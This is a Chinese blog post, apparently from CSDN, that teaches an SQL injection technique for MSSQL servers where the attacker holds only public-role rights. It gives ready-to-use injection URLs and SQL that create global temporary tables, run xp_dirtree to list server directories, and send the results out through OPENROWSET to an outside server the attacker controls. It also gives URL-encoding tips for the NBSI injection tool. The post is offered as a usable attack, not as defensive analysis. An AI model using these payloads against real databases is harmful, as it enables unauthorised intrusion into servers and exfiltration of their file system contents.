Mssql Public权限列目录

本文介绍如何利用Public权限在MSSQL环境中进行表创建,并通过存储过程执行文件系统操作,包括读取和写入。展示了如何使用临时表进行数据传输,实现对服务器文件系统的遍历。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

注入点执行
aaa.com x.asp?id=123;create table %23%23dhtemq (list int not null identity (1,1), dirtree nvarchar(500),num1 nvarchar(500),num2 nvarchar(500))
注入点执行
aaa.com x.asp?id=123;insert into %23%23dhtemq(dirtree,num1,num2) exec master.dbo.xp_dirtree [d:/] ,1,1;--
注入点执行
aaa.com x.asp?id=123;insert into OPENROWSET ('sqloledb','server=xx.xx.xx.xx,1433;Initial Catalog=master;uid=sa;pwd=woshinidie','select dirtree,num1,num2 from dhtemq') select dirtree,num1,num2 from ##dhtemq
xx.xx.xx.xx 执行
select * from dhtemq

提起public权限的用户估计很多人也觉得郁闷了吧~N久以前看了一篇《论在mssql中public和db_owner权限下拿到webshell或是系统权限》的文章(名字真长-_-!!!),里面说到没办法利用xp_regread,xp_dirtree…这些存储过程,原因是public没有办法建表,我在这里矫正一下其实public是可以建表的~呵呵,使这些存储过程能利用上,看下面的代码吧

  --建立一个临时表,一般的表我们是无办法建立的,我们只能建立临时表

  #-----为本地临时表

  ##----为全局临时表

  create table ##nonamed(

  dir ntext,

  num int

  )

  --调用存储过程把执行回来的数据存到临时表里面

  insert ##nonamed execute master..xp_dirtree 'c:/',1

  --然后采用openrowset函数把临时表的数据导到本地MSSQL 的dirtree表里面了

  insert into openrowset('sqloledb', '192.0.0.1';'user';'pass', 'select * from Northwind.dbo.dirtree')

  select * from ##nonamed

  以上方法,也就是说public可以遍历用户服务器的目录

  在NBSI中,只要把临时表名加前加##就可以了,但要注意URL转码,即写成:%23%23nonamed就OK了!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值